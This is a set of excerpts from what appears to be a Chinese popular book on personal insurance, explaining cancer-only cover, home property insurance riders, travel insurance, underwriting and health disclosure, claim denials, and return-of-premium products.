　　当你接受了低保额、低杠杆率的事实，却发现身患慢性高血压的父母在健康告知这一环节被拒保。这是给父母买保险时最常见的问题，即想买也买不了。

　　患有高血压、心脏病、糖尿病的老年人，可以直接和重大疾病险、住院医疗险说再见了。保险公司也意识到了这个问题，于是想了一个办法：双方各退一步。保险公司把保障范围缩小，限制也随之减少。但这个保障范围不能太小，得有存在的意义。

　　于是，防癌类保险应运而生。重疾险涵盖的几十种疾病，只保留第一项，即恶性肿瘤；住院医疗险涵盖的所有疾病的住院责任，也只保留一项，即癌症住院责任。在给家庭带来巨大压力的重大疾病中，恶性肿瘤占 70%。笼统地说恶性肿瘤你可能没有概念，但如果我说一款保险既保白血病，又保胃癌、肺癌，还保身体所有器官的癌症，听上去是不是挺全面的。如今，整个社会已经谈癌色变了，癌症的严重程度足以成为一个独立的险种。

　　这种做法最大的好处，就是健康告知的内容大幅减少。只要不是易引发癌症的症状（肝部疾病、器官或组织的结节等），保险公司都不介意，高血压、糖尿病患者也可以投保。毕竟，高血压导致的急性心梗和糖尿病导致的终末期肾病或截肢，都不在防癌类保险的责任范围内。

　　这可以说是一个皆大欢喜的结局。保险公司针对带病体客户额外开发针对性产品，这有点儿像吃自助沙拉。虽然 39 元/人的沙拉比 59 元/人的沙拉的可选食材少，但起码实现了让更多人吃到沙拉的目标，沙拉店也赚到了钱，可谓一举两得。

家财险到底保什么

　　和大多数保险产品类似，家财险也可以设计成“主险+附加险”的形式。主险是必须购买的，附加险则可结合自己的情况选购。家财险中的主险，解决的是房屋本身的风险问题，关注的是可能造成最大损失的潜在风险，具体如下：

  1. 房屋及其室内附属设备，比如水暖、气暖、管道设施等；
  2. 室内装修，比如地板、吊顶、墙纸、水电等；
  3. 室内财产，比如家具、电器等。

　　说白了，房屋倒了、装修毁了、家电坏了，这三种情况是房屋面临的主要风险。需要注意的是，三者的保额是不一样的。和房屋本身相比，装修和财产的价值要低一些。一场爆炸事故发生后，房屋结构直接受损，这套房子的实际价值大打折扣，不仅无法继续居住，也基本无法交易和转让了。这时候，只有几十万甚至上百万元的赔偿才能弥补该损失。

　　因此，房屋及其室内附属设备的保额通常从几十万到上千万元不等，而室内装修和财产的保额则基本在几万到几十万元。

　　买完主险并不意味着万事大吉了。除了发生概率低的大型灾害类风险，我们的房屋还会面临许多日常的小风险，比如家里被盗、水管漏水。这种事虽称不上巨大打击，但总归会造成一定的损失，这时候如果保险能进行弥补，当然是一件好事。

　　所以，你可以把附加险看作针对小风险的补充手段，其责任范围是：

  1. 室内盗抢损失：因入户盗窃和抢劫造成的财产损失；
  2. 第三者责任损失：阳台花盆掉下致人伤亡和造成的财产损失；
  3. 管道破裂损失：自来水管、暖气水管爆裂，把自家和邻居家都淹了。

　　我不建议你死记硬背附加险的分类标准，你应该根据自己想要的责任（比如解决管道破裂的风险），找到对应的保险条款，并阅读条款内容，只要匹配自己的需求即可。没人能说得清应该买哪种附加险，但你肯定知道自己想要什么。

　　那么，当你根据自己的需求去阅读条款时，应该怎么做呢？

第一步：了解责任范围

　　选购人身保险时，阅读条款、了解除外责任是一门必修课。即使有代理人为你服务，很多问题的答案其实都在条款里。尤其是很多除外责任，大多数代理人没有时间一字一句地念给你听。

　　与保障期长、保费多的人身险相比，家财险似乎简单得多。但是，家财险的条款可一点儿也不简单。你可以在条款里发现许多前提条件，不了解清楚这些“麻烦”，你买到的家财险可能就无法发挥作用。

　　其中最重要的是，造成财产损失的原因到底包括哪些。有的家财险只包含火灾、爆炸、飞行物坠落和外部建筑倒塌的风险，而像台风、冰雹、洪水这种常见自然灾害却不在其责任范围内，这样的家财险产品要远离。

　　尽可能多地囊括财产损失风险，是一个好产品的必备条件。如果能满足这个条件，哪怕价格高也值得买。除此之外，还有几个前提条件。

　　第一，家财险只承保钢结构、钢筋混凝土结构、砖混结构的房屋，木屋、草屋不在承保范围内。此外，房龄过大（比如 30 年以上）、产权不清晰（小产权、农村集体产权）的房屋也不在承保范围内。

　　请留意你要投保的房屋是否符合上述要求。这里普遍存在一个误解：只有业主才能购买家财险。事实上，租户（有合法的租赁合同）也可以为自己租赁的住宅购买家财险。只要搭配合适的附加险，租户就不用担心由于自己的用电、用水疏忽造成的经济损失了。

　　第二，室内财产也是有承保范围的，并不是说财物只要在家里就都可以赔偿。比如，首饰和邮票藏品等贵重物品，文件、账簿、闪存盘等资料类财产，这些物品本身难以估价，通常都会被排除在承保范围之外。如果你想防范这类财产的风险，可以通过购买特定的附加险来解决。

第二步：看清除外责任

　　除了这些前提条件，条款中还有一个专门的章节：除外责任。这部分内容也要仔细地看清楚，不要“想当然”。

　　对主险而言，最常见的除外责任是战争造成的房屋、装修和财产损失。对于地震、海啸等超大自然灾害，大部分家财险的主险也不会涵盖。

　　由于附加险种类繁多，这里只列举常见的几种。

　　房屋盗抢险规定，因门窗未锁致使保险标的遭受盗窃、存在窗外钩物行为或无明显现场痕迹的盗窃行为，都不在保险范围内。管道破裂及水渍损失险规定，因水暖管年久失修、自然磨损、腐蚀变质或未采取必要的防护措施，或者被保险人及其家庭成员、其他亲属、暂居人员、雇用人员擅自改动原管道设计或用途导致的损失，也不在保险范围内。

　　看到这里，你可能会觉得这些除外责任有点儿吹毛求疵，其实就是不想赔付。我建议大家不妨换个角度思考这个问题。

　　首先，风险具有不确定性，当人为因素介入（比如擅自改动管道）的时候，风险的不确定性中就增加了无法评估的人为因素。其次，从公平的角度看，如果门窗未锁导致的财务失窃也要保险公司赔偿，这实际上是一种不公平的做法，即房屋安全措施做得好的客户要为做得不好的客户买单。最后，有些所谓的除外责任也并非不保，而是以新的保险产品形式存在。比如，要应对地震和海啸风险，你可以投保地震巨灾保险。

　　所以，大多数除外条款都是讲道理的，但确实也存在让人无奈的除外条款，以后遇到这类产品，记得绕路走。

　　比如，关于玻璃单独破损的除外责任是这样的：

　　保险事故造成的玻璃单独破损，但与玻璃为一体的其他保险标的一并发生损失的情形除外。

　　你可能没看懂，我举例为大家说明。

　　曾经肆虐厦门的台风“莫兰蒂”，让许多家庭都遭受了不同程度的经济损失。装修受损、地板被泡是可以赔偿的，但如果家中其他财物都完好无损，只有玻璃破了，就不能获得理赔。那么在什么情况下玻璃破损能够赔偿呢？包括玻璃窗在内的整个阳台都严重受损，则可以理赔。

　　这个除外责任设计的初衷，应当是出于成本的考量。玻璃单独破损的情况比较常见，赔付概率高。但不管怎么说，从消费者角度来讲这都是糟糕的体验。

第三步：学会互相搭配

　　家中暖气管道或卫生间管道突然破裂，不仅泡坏了自家的地板，还毁了楼下邻居家的天花板吊顶，不少人都经历过这种糟心事。如果想通过家财险解决这个问题，仅靠主险是不行的。主险只负责由火灾、爆炸、台风等自然灾害造成的房屋损失，和家中的管道破裂没什么关系。好吧，让我们看看有没有管道相关的附加险。我们惊喜地发现有一款《附加管道破裂及水渍损失保险》，其责任条款里明确写道：

　　因高压、碰撞、严寒或高温造成被保险房屋内、楼上住户、隔壁住户或属于业主共有部分的自来水管道、暖气管道（含暖气片）、下水管道以及太阳能热水器室内外管道（以下简称“水暖管”）破裂，造成主险保险标的遭受水浸、腐蚀导致的直接损失，以及因此产生的水暖管修复更换费用，保险人按本附加险合同的约定负责赔偿。

　　这个附加险看起来不错，既包含了家中地板浸泡的经济损失（主险保险标的遭受水浸、腐蚀导致的直接损失），还能把管道更换费也一起解决了。但仔细一想，它没有提到邻居家的损失该怎么办。

　　邻居的损失属于第三者责任，得通过《附加管道破裂及水渍第三者责任保险》来解决。看到这里，你可能觉得有点儿困惑。我拿前文讲过的车险与管道险做个对比。

　　假设你驾车撞到了张三，需要对他进行赔偿，这被定义为“导致第三者人身伤亡或财产损失”。假设你家管道漏水弄坏了张三家的吊顶，需要对他进行赔偿，这也被定义为“导致第三者人身伤亡或财产损失”。

　　我们来看看《附加管道破裂及水渍第三者责任保险》是怎么说的：

　　被保险房屋内水暖管因高压、碰撞、严寒、高温造成爆裂，导致第三者人身伤亡或财产损失的，应由被保险人承担的经济赔偿责任，保险人按照本附加险合同约定负责赔偿。

　　看到这里，你应该明白了，为了一个小小的“管道漏水殃及邻居”的需求，你需要购买一份主险和两份附加险。不得不说整个操作过程确实耗时，但好在不难理解，为了买到自己真正需要的保险，投入点儿精力也是值得的。

　　所以，只有主险而没有附加险，这是不完整的。在做家财险规划的时候，我们一定要在解决重大风险（由主险负责）的基础上，结合自身预算和需求，搞定部分一般风险（由附加险负责）。

旅游保险是干什么用的

　　一名游客在境外自驾旅游时发生车祸导致骨折，被救护车送往就近医院治疗。几天后，由于伤者要保持平躺姿势，所以需乘坐商务舱或头等舱返回国内，并由救护车运送至当地医院。

　　这不是虚构的故事，它几年前就发生在我太太身上。当时在欧洲我们遭遇车祸，经历了一次终生难忘的紧急救援。这当然不是什么值得夸耀的经历，却着实加深了我们对旅游险的认识。

　　如果未提前购买旅游险，会有什么后果？

　　第一，治疗费用无法报销。作为外国游客，我们自然没有当地的医保可用，所有治疗支出都是自费。连同急救费用在内，在 3 万多元的医疗支出中，除了 3000 多元的腰部支架，其他费用最终都通过保险理赔报销了。

　　第二，没有人会为我们安排返程航班的商务舱座位。在异乡的治疗过程中，我们只需通过邮件把相关医疗材料发给保险公司（证明的确需要保持平躺姿势），很快就收到了商务舱的订票确认信息，免去了预订机票的难题。当然，商务舱的机票自然也不用我们付钱。

　　第三，风险袭来时感到孤立无援、手足无措。我太太在国外接受治疗期间，一方面得到了家人的支持，他们通过外汇汇款，解决了我们手头一时没有那么多欧元的问题；另一方面得到了保险公司的协助，让我们不用担心治疗费用和后续问题。人在困境中对这种援助的体会是很深刻的。

　　从我和我太太的亲身经历可以看出，旅游险可以非常有效地应对意外伤害带来的风险，它不仅会给你经济上的补偿，还会为你提供雪中送炭的服务。

　　仔细想想，外出旅游可能遇到的两个最大的风险就是死亡和受伤。

　　第一类风险：旅游时死亡。

　　这一点无须多说，旅行途中发生的交通意外（比如车祸）或者游览意外（比如坠崖）都会导致意外死亡。如果你购买了意外险和定期寿险，就可以得到保险公司的赔付。

　　第二种风险：旅游时受伤。

　　外出旅游期间，我们所处的环境不同于平时。尤其是出行，不管是选择公共交通还是自驾，道路环境对我们而言几乎是完全陌生的。因此，和死亡比起来，受伤的概率更高。而且，常见的意外险和医疗险仅限在国内医院就医，所以这一风险完全要靠你的旅游险来解决。

　　针对死亡和受伤风险，旅游险通常包含的责任有以下几种：

　　意外身故：遗体/骨灰转运，会有专门的转运公司负责将身故者的遗体和骨灰运回他的家乡。

　　意外残疾：根据伤残等级，支付相应的理赔款。

　　医疗费用：这要看你买的旅游险是只负责意外受伤的医疗费，还是也负责疾病的医疗费。比如，阑尾炎显然不属于意外，如果你购买的旅游险只包含意外医疗责任而你在旅行期间阑尾炎发作，那你只能自己掏腰包看病。

　　医疗运送与往返：医疗运送也可以理解为国际救援服务。如果因为医疗条件和设备要求必须进行运送，并且时间紧迫，用直升机进行跨国运送也是可以的。

　　慰问探访：如果在外住院时间较长，保险公司还可以承担一名亲友前往探视的交通费和住宿费。

　　对了，还有一些突发事件。

　　除了意外身故和受伤，行李丢失、钱包丢失、信用卡被盗刷、航班延误，也是常见的旅行风险。即使你想得再周全，规划得再详细，遇到上述问题也会手忙脚乱。

　　比如，如果自驾游出车祸受伤，除了你自己需要的急诊费用，在你全责且对方没有足够保险的情况下，就需要靠第三方责任险来帮你摆平你对他人造成的财产损失甚至伤亡了。再比如，行李遭遇暴力托运，平板电脑屏幕粉碎，凭借“托运行李损失责任”，只要你留好相关证据，就可以向保险公司申请理赔。

　　又比如，由天气或者航空公司员工罢工（这在欧洲很常见）导致的航班延误，只要达到一定时长（6 个小时或者 8 个小时），就可以获得几百元的理赔金。

　　这些在旅游时可能遇到的意外情况，相较意外身故和医疗，可能算不上重大风险，但对于中短期旅行来说完全值得额外花点儿钱买旅游险。除了刚才我们说的第三方责任、托运行李损失责任、旅行延误责任等，还有以下保险责任值得我们关注：

　　旅行计划取消：目的地突然爆发战争、瘟疫，或者直系亲属突然身故，以致无法按原计划出游。对于一些不可退还的费用（比如机票、酒店），可以通过旅游险获得合理的补偿。

　　托运行李延误：因运送不当导致行李延误，保险公司会按照额度给予赔偿。

　　银行卡盗刷损失：只要证明因为银行卡丢失或者被窃，导致被盗刷，可在额度范围内获得赔付。

　　旅行证件重置费用：在旅途中，除了丢银行卡，还有可能丢失护照。对此，保险公司也会予以合理的赔偿。

　　找到这些责任条款后，我们需要做的就是仔细阅读关于每项责任的具体描述。比如，延误多久算延误？物品损失有没有免赔额？盗刷笔数有要求吗？我们起码要对这些做到心中有数。

自序：当焦虑的中国新中产，遇见拧巴的保险

　　一切都像预先设计好的剧情。大学毕业后，不出三五年，甭管你的生活状态是独自一人，还是组建家庭，都会不约而同地关注一个问题：我该买什么保险？这千篇一律的剧情，不知道是否也是你人生的映照。

　　虽然销售保险产品并不是我的本职工作，但身边的朋友经常向我咨询如何买保险。尤其是在女儿出生后，问题变得更简单了——似乎我只要告诉别人我给我闺女买了什么保险，就能解决他们的问题了。

　　但是，不同的个体和家庭面临的风险是不同的。百分百地参照他人，只能是照猫画虎。这也让我意识到，让更多的人了解保险、学会配置保险，比一个一个地分析保险方案，更有价值。除了生活里的保险解答，自身的工作也带给了我更多、更深的感触。我的第一份工作是在国内最大的寿险公司里做战略规划。对于一个刚出校园的毛头小子而言，所谓的“战略规划”不过是收集和整理公司和行业的数据资料，对比不同公司的主要保险产品，然后写报告、做图表，没什么特别的。

　　但大量数据和产品背后也折射出保险行业的许多现象，它们一度让我百思不得其解。

　　比如，我国保险市场虽然保费规模大，但风险保额少。也就是说，每年几万亿元的保费，大部分都是为了理财和赚钱，真正希望解决疾病、死亡等人生风险的并不多。

　　再比如，保险市场的产品虽然复杂难懂，但销量屡创新高。在熬夜加班的深夜，我和同事不止一次地对着窗外鳞次栉比的高楼，叩响内心最大的疑惑：这么烂的产品是怎么卖出去的？

　　过去的一年里，我通过微信公众号（“槽叔”）和与第三方独立测评机构合作等方式，多管齐下地宣传、普及保险知识。

　　在这个过程中我发现，科学地普及保险知识与推广保险理念，这件事的价值不仅在于让更多的人了解保险，更在于它能潜移默化地帮助你塑造一种思维方式。

　　即使受过良好教育，接受过某学科的专业训练，我们有时依然会在逻辑分析、人际表达、信息沟通等方面感觉力不从心。用科学的逻辑思维解决生活中实实在在的问题，这种能力影响着我们的生活品质。保险的自我规划，就是一例。

　　筹划保险时，不知从何下手？这也许是因为我们没有按照优先级的逻辑，梳理家庭保障需求的能力。买到自己不需要的保险？这可能是因为无法在人际沟通中有效表达自己的想法，或者无法准确分辨出保险销售员口中的“事实”和“观点”，最终陷入销售套路。每年保费太多、家庭开支压力太大？这也许是因为我们忽视了合理分配家庭现金流支出的重要性。

　　这种讲道理、重逻辑的思维，不仅让保险回归保障的本源，也可以真正做到为你自己负责、为家人负责。毕竟我们买保险花的每一分钱都是辛辛苦苦挣来的，弄清楚为何而花，很有必要。

　　在这本书的第一章里，我会首先解答你所有关于保险的疑惑和顾虑。毕竟，从来没有哪种商品像保险这样，让人爱恨交加。爱它，是因为我们都知道保险非常重要，对于漫长人生中可能发生的风险，保险的重要性无可代替。既然能翻开这本书，相信你也是认同这句话的。“恨它”，是因为我们虽然认同保险的价值，却也听过太多关于保险的负面评价——抱怨算是轻的，咒骂甚至全盘否定的观点也不少。

　　所以，对于不少人来说，他们和保险之间的关系是“拧巴”的。拧巴这个词，是稍带北京气息的方言，你大可将其理解为纠结、难搞、无力吐槽。希望当你读完前几篇文章，在豁然开朗的同时，能以平和的心态，听我把保险的脉络娓娓道来。祝你阅读愉快。

引言：盲人摸象话保险

　　几年前，因为发现妻子怀孕，我们取消了筹备半年多的美国之行。

　　去美国是我们很早之前就着手规划的旅行，一来想去看看和图书、电影里不一样的美国；二来也可以探望一下在美国读书工作的老朋友。

　　旅行取消了，早早支付的机票钱眼看也要打水漂儿——由于预算有限，我们在选择打折机票的同时，也放弃了全款退票的权利。这笔两人共计 1 万多元的损失，似乎不可避免了。

　　当我郁闷地重新整理旅行资料时，无意中看到了我在申请签证时购买的境外旅游保险，其中包含一个名为“旅行取消”的责任，具体内容如下：

　　当被保险人或其配偶被诊断出怀孕，需要取消原定行程时，对被保险人已预先支付但未使用且无法退回的交通、住宿、门票及其他本保险合同明确列明的旅行产品的费用，保险人按照本保险合同约定负责赔偿。

　　逐字念完这段话，我发现我可以申请理赔了。最后，除了 1 万多元的机票，6000 多元不可退回的宾馆费用也全部获得赔偿。[1]

　　倘若没有购买这份保险，我们这趟旅行的预支款项就损失掉了，内心难免郁闷，但毕竟这是不可抗力因素导致的。更何况，妻子怀孕本来也是令人开心的事情，我们并不会因为损失这笔钱而太过沮丧。当然，可以把这笔钱拿回来的时候，绝大多数人的想法一定是：真的挺不错的。其实这种感觉我们平时也有过。例如，当你在淘宝购买了一份七天无理由退换货的商品，对商品不满意并打算退货时，忽然发现店铺为你购买了一份退货运费险——12 块钱的运费，保险公司帮你出了。

　　不管是上万元的旅行开支，还是十几元的快递费，我们得到的这些补偿都源自不经意间的一个行为——提前购买了一份可能并没有搞懂的保险。此时，对于消费者而言，保险是一种可爱又美好的存在。

　　如果只是让保险业来解决行程取消导致的机票损失、退货带来的快递费损失，那你也太小瞧它了。帮你应对人生中生老病死的风险，才是这个行业的基本要义。

　　1000 个读者眼中有 1000 个哈姆雷特，1000 个消费者眼中也有 1000 个关于保险的标签。如果让我解释“盲人摸象”这个成语，我一定会拿保险来举例。

　　当我享受退货运费险带来的十几元的“小确幸”时，保险的作用就是为我解决小额的资金损失。这时我摸到的可能是大象的鼻子。当我发生车祸，保险公司出动紧急救援车队时，保险的作用就是为我提供应急服务。这时我摸到的可能是大象的尾巴。当我选择购买一份保证本金和收益的万能险时，我是在进行投资，保险的作用就是让我的资产保值增值。这时我摸到的是大象的耳朵。当我选择购买一份重大疾病保险时，我进行的是一项潜在风险的补偿行为，保险的作用就是帮我应对巨额财务危机。这时我摸到的是大象的肚皮。

　　你看，我很难用简单的三言两语告诉你保险是什么。但我可以肯定，在刚才提到的这些案例中，一定有一款适合你，也是你需要的。

　　从小额资金损失到巨额财务危机，保险的责任由小及大。在这个过程中，更大的责任往往伴随着更高的预期，这也产生了令保险被误解的基础，让我们很容易形成诸如“谁都可以买保险，保险公司就该赔我钱，买保险时能不花钱就不花钱”的惯性思维。

　　说到底，购买保险的前提在于权利和义务的对等，当你在心中形成对保险的认知和预期时，保险公司也同步形成对你的认知和预期——双方有了共识，保险这种契约才有存在的基础。

　　这可能才是保险本来的样子。

发生的事故不在保险范围，不能赔付

　　保险公司赔不赔，首先取决于申请理赔的这件事是否在保险责任范围内。举个新闻事件当例子，可能更便于理解：

　　王大妈腿脚不灵便，周末下楼时不慎摔伤，造成大腿韧带拉伤，住院一个多星期，除去医保报销，自费部分花掉 2000 多元。她想起半年前通过保险代理人买过一份意外险，便向保险公司申请理赔，未曾想遭到拒赔，理由是王大妈购买的意外险只包含意外身故和意外伤残两项责任，并不包含意外医疗责任；而且王大妈的受伤情况也远未达到伤残标准，相当于这份保险“白买了”。

　　保险代理人信誓旦旦地说，当时大妈图便宜而挑选了不含意外医疗的产品，一年只要 50 多元，如果包含意外医疗责任，保费要 250 多元。王大妈却说，代理人明明没有和她说过这些，她买的时候以为什么都保。保险公司则表示无奈，合同里白纸黑字写的，公司怎能为没有承保的风险赔钱呢，这样做的话对于多花 200 多元买保险的消费者来说，谈何公平？

　　当我们试图还原王大妈摔伤的“真相”时会发现：投保人与保险公司各执一词，莫衷一是。而一旦这类事件被某家媒体报道，再配以“黑心保险公司只保死不保生”之类的标题，只会令读者更加相信：一旦出了事，保险公司只会想方设法不赔钱。

　　一起意外事件可能带来两种结果，一是受伤，二是身故。如果一份意外险只涵盖意外身故，因为意外导致的受伤就无法获赔。市面上的保险产品多种多样，每个产品的功能和特点也不尽相同。如果我买了一份鸡肉三明治，咬了一口却发现三明治里没有鸡肉，这就有问题了。到底是我买的时候没搞清想要牛肉还是鸡肉，还是商家供应出错？买卖双方多花点儿时间，弄清产品介绍、核查产品名称，就可以最大限度地规避这类问题。

　　搞清楚三明治里是鸡肉还是牛肉其实并不难，难的是分清楚到底是火鸡肉还是乌鸡肉。对于同一句话、同一个词，不同的人可能有不同的理解，这才是麻烦所在。

　　比如，不少人误以为猝死也是一种意外。整晚熬夜工作以致猝死，怎么能不算意外呢？但医学上对于猝死的定义是：因疾病而突然死亡。保险公司也将猝死责任视为因突发疾病导致的身故。

　　我们当然可以把猝死作为一项额外责任，加到意外险的产品里，但这必然导致意外险产品价格的提升。或者，我们也可以选择购买一份寿险（对身故的原因不做限制），这样可以弥补一些猝死带来的损失。

　　不光是意外险，近年来越来越多的人关注的重大疾病险，其实对于每种疾病都有明确的定义。比如，单单“癌症”二字，不足以清楚表达疾病的定义。原位癌（癌症的早期形式）从字面上看也属于癌症，但治愈率极高且花费不多，便不属于保险条款规定的重大疾病。所以，我们不能简单地说重大疾病险“只要是癌症就能付”。

　　其实为了解决类似的“误读”，保险条款会专门针对这类容易引起歧义的内容做额外说明。比如，意外险的条款里会出现“猝死不在保障范围”，重疾险里也会出现“原位癌不属于恶性肿瘤”之类的表述。

　　看来，卖三明治的商家以后得多长个心眼，最好把三明治的名字改为：

　　两块切成三角形且去除饼边的全麦面包片包裹下的经水煮后裹上面粉油炸的本地产走地鸡的鸡胸肉（注意：本店不接受以鸡肉肥瘦口感偏好为由的退货。）

从“求我买”，到“我要买”

　　当你希望保险为你解决疾病、身故等状况带来的风险时，本质上，你就不是在买保险，而是在“申请”保险了。

　　我曾听到一个有趣的说法：当你想买保险的时候，也是你正式步入中年的时候。当我们看到身边一个个因为疾病、意外遭受重创的家庭后，便本能地寻求外界的帮助，以缓解自己的中年危机。这个时候，回过头看看我们曾经嗤之以鼻的保险，似乎也并非一无是处。

　　但如果你真的人到中年才想起买保险，那还真不一定买得了保险。这里所说的“买得了”，指的是保险公司愿意销售保险产品给你。

　　乍听起来，有点儿难以置信。保险明明都是求着我买的啊，铺天盖地的宣传、无处不在的销售，保险公司怎么会拒绝卖给我保险？这显然不符合大多数人的印象。

　　事实上，当你希望保险为你解决疾病、身故等状况带来的风险时，本质上，你就不是在买保险，而是在“申请”保险了。接下来我会告诉你，为什么我们需要申请保险，怎样才能申请到保险。

核保师与健康告知

　　当我们希望保险公司为我们承担疾病、身故、意外带来的风险时，其实我们是在和保险公司做一笔交易——消费者给钱，保险公司做出承诺。这笔交易其实可以被视为一个赌局，消费者以自己的健康乃至生命做赌注，换取一笔潜在的赔偿金。

　　如果想增加自己赢得赌局的概率，我们可以采取下面几种方法：

  • 第一，已经得病，甚至病入膏肓，这时候买保险，很快就能获得理赔；

  • 第二，很可能要得病了，赶快去买保险，这样也有很大的概率获得理赔；

  • 第三，经常从事危险工作，或者长期处于高风险环境，发生意外的概率很高。

　　但保险公司可不是好糊弄的，为了防止消费者采取上述手段，便会在赌局设立之前（也就是你投保之前）委派特殊工作人员，对你义正词严地做出一系列约定，以确保你的情况不属于上述三种。

　　这里的特殊工作人员指的是核保师，一系列约定指的是健康告知。

　　举几个例子，可能更便于你理解：和健康人相比，一位慢性乙肝患者在未来身患肝癌的概率显然高很多；从事高空作业的玻璃幕墙清洁工，发生意外的风险会显著高于天天坐在办公室里的白领；酷爱极限运动或每个月都登山、潜水的年轻人，发生意外的概率也比“宅男宅女”高出不少。

　　核保师的工作职责就是识别出这些大概率风险，并将这类人群拒之门外。他们的首要“武器”，就是健康告知。

　　读到这里，你可能会隐约觉得：保险业太不通情达理了，这不是明摆着搞歧视吗？事实上，保险业之所以能正常运转，并成为社会的“维稳器”，正是因为它拒绝“通情达理”，坚持“歧视”。

　　健康告知的存在，使保险得以实现最大程度的公平。每个商品都有自身的价格，比如，宜家家居畅销的“索德汉”沙发，其价格是基于材料成本、人工成本、运输成本、仓储成本、营销成本等因素综合制定的。保险的定价本质上是对风险的定价：为了将来可能获得的 10 万元补偿，你今天要给我多少钱？在同样的价格条件下，如果 A 的风险远高于 B，那对 B 而言，这种定价方式显然谈不上公平。

　　健康告知，可以被看作核保的第一道防线，这道防线主要包含三部分内容：

　　健康问询：是否有疾病或住院记录等。这是健康告知中最主要的部分，因此，很多核保师都是医生出身，毕竟有了医学方面的专业知识，才能准确把握健康问题的严苛尺度。

　　职业问询：是否从事高危行业。对于高空清洁工、武警战士等职业的从业者来说，他们面临的风险明显更高。

　　生活问询：是否吸烟、酗酒（酒精依赖），是否有极限运动等危险性高的业余爱好等。

　　除了这三类问询，其他问询还会零散地涉及客户的保险购买情况等。当我们对照自身情况挨个看完健康告知后，会收到核保师的核保结论，内容不外乎以下 4 种：

　　结论一：标准体。 恭喜，你完美地符合健康告知中的所有要求，可以直接投保，无须做补充告知。

　　结论二：次标准体。 可能有少数几条不符合健康告知，但考虑到基本在可接受范围内，保险公司就“勉为其难”地允许你投保了。当然，有个前提条件：要么增加保费，要么接受除外责任。增加保费很好理解，别人花 1000 元能买到的风险，收到次标准体健康告知的客户可能要额外支出 200 元。除外责任指的是保险公司考虑到投保人当前的健康状况，将特定疾病排除在责任范围之外，其他责任保持不变。比如，如果投保人的体检结果显示甲状腺结节，即便结节是良性的，保险公司也会把甲状腺癌及转移癌排除在责任范围之外。

　　结论三：延期。 保险公司考虑到你的某个健康问题，暂不接受你的本次投保申请，建议过一段时间再来试试。至于要等多久，不同公司、不同产品、不同疾病的情况皆不一样。保险公司的意思说白了就是：你当下的风险过高，等等再说吧。遇到延期，我们应当分情况看待。比如，对于早产儿，通常要等到 2 岁以后才能申请投保；你当前某项血液指标异常，可能是因为最近半年的饮食过于油腻，且缺乏锻炼，假如花上半年时间锻炼以恢复体质，便很容易成功投保。但如果导致延期的是慢性疾病，可能短期内无法恢复，在这种情况下，我们会无奈地将延期看作“死缓”——和拒保没什么区别。

　　结论四：拒保。 对不起，你的身体健康状况不符合健康告知的要求，相当于被保险公司判了“死刑”。

买保险一定要返本吗？

　　当初你说要买保险的时候，到底是用来做什么的？

　　保费和保额，哪个才是你的初心？

　　消费者对于金融商品和实体商品往往有着巨大的认知区别。

　　对实体商品，我们愿意为之支付一定金钱，以换取其效用。在如今这个消费升级的时代，更有观点认为：钱没有花掉，只是换了个形式待在你身边。总之，我们不大会在消费行为发生后，还对这笔支出斤斤计较——花了就花了。

　　而对金融商品，我们似乎不太接受“花掉”它们的观点。存在银行里的钱既安全又能产生利息；投入股票的钱，我们会习惯性地产生“我一定能赚钱”的幻觉，即使亏损，也很少归咎于股票投资本身，毕竟“股市有风险，入市需谨慎”，这句话大家都知道。

　　当这类态度移植到保险身上，就会很容易形成这种认知：既想获得预防风险的保障，又不想让本金受损失。如果没有发生保险事故，到期后你就得把本金返还给我。

　　返本心态是中国保险消费市场上一个非常普遍的现象。甚至可以说，消费者的这种诉求直接影响到中国保险产品的设计和定价。

当你想要返还的时候，你到底想要什么

　　人们会根据自己的需求来做消费决策。比如，想吃辣，便抬脚走进川菜馆；想换一种春日少女风的妆容，就去下单购买新款口红；想要保本理财，可以随手买点儿货币基金（虽然严格来说货币基金并不保本）。从思考到决策的链条比较清晰，也就是说，你最终的“所得”和最初的“所想”基本保持一致。

　　消费决策的背后其实隐藏着我们看不见的需求。换个新妆容，可能是迎接失恋后的新生活的一种态度；随手买点儿货币基金可能是因为看重它的流动性。

　　所以，当你说想要返还型保险的时候，你到底想要什么？把这个问题搞清楚，我们才能解答标题提出的那个问题。

　　不管保险产品的形态是什么，有哪些保障责任，用了怎样的词汇包装，消费者所说的“返还”，很多时候是在表达两种需求。

　　第一，如果没有发生保险事故，请把我交的保费还给我。没错，我要的是拿回保费。

　　第二，既然我购买了保险，总归是希望能派上用场。没错，我要的是总归能获得赔偿。

　　这两种需求，是人们购买返还型保险的最大驱动力，也是返还型保险存在的最主要原因。

追求保费返还，切莫因小失大

　　市场上有不少保费返还型重疾险和意外险，若在约定时间内并未出险，保险公司会将保费返还给客户。这类产品的宣传口号一般出奇地一致：有病赔钱，无病返本。乍看上去，这种保险似乎是免费的。

　　但仔细对比后你就会发现，返还型保险所需缴纳的保费，要比非返还型保险多出不少。在大多数情况下，多交的这部分保费往往用作重要的投资资金来累积生息，最终会把当初所交的本金“赚”回来。从保险精算模型的角度看，这种表述可能未必准确，但这类问题的本质基本上如此。

　　其实除了保险，很多行业都擅长玩这种游戏。互联网上屡见不鲜的“存 5 万送手机”之类的营销活动，本质上也是锁定资金一段时间，让客户以利息换赠品，同时牢牢地黏住客户。

　　中国是一个相当庞大的市场，这同时意味着消费者的认知及分辨能力千差万别。更何况偶尔面对新事物的时候，我们内心的懵懂和迷茫还会令自己的判断力陡降为零，这可以理解。

　　说白了，当消费者开始追求保费返还时，就自然而然地落入了这样一种思维模式：

　　我觉得我自己不一定会发生保险事故。比如，我觉得自己不会发生意外，不会患重病，不会身故，这些都不会发生在我身上。

　　当你内心或多或少有“万一没出险就亏了”的想法时，潜意识里就会更加看重保费，而忘记自己配置保险的最初动机：购买充足的保额，确保获得足够的补偿。

　　反正保额也不一定会拿到，我更在乎实打实的保费，所以还是选择有保费返还的产品吧。这样想似乎顺理成章。

　　相反，当你把保险看作风险的补偿机制时，就会格外看重保额的大小。用尽可能少的钱换取尽可能多的保额，才能充分抵御突如其来的风险。

　　那么，现在请你回答：当初你说要买保险的时候，到底是用来做什么的？保费和保额，哪个才是你的初心？

　　其实对于保费返还这个功能，保险业不乏积极、肯定的观点。比如，虽然返本型保险价格更高，但额外多出来的那些保费，可以看作每年的强制储蓄。毕竟保险资金安全性高，更何况还有收益（相当于一份保本理财产品的收益）。

　　你看，保险公司就是这么厉害，无论什么功能，都能说得头头是道，让你听后忍不住感叹：还真是这么回事儿啊！

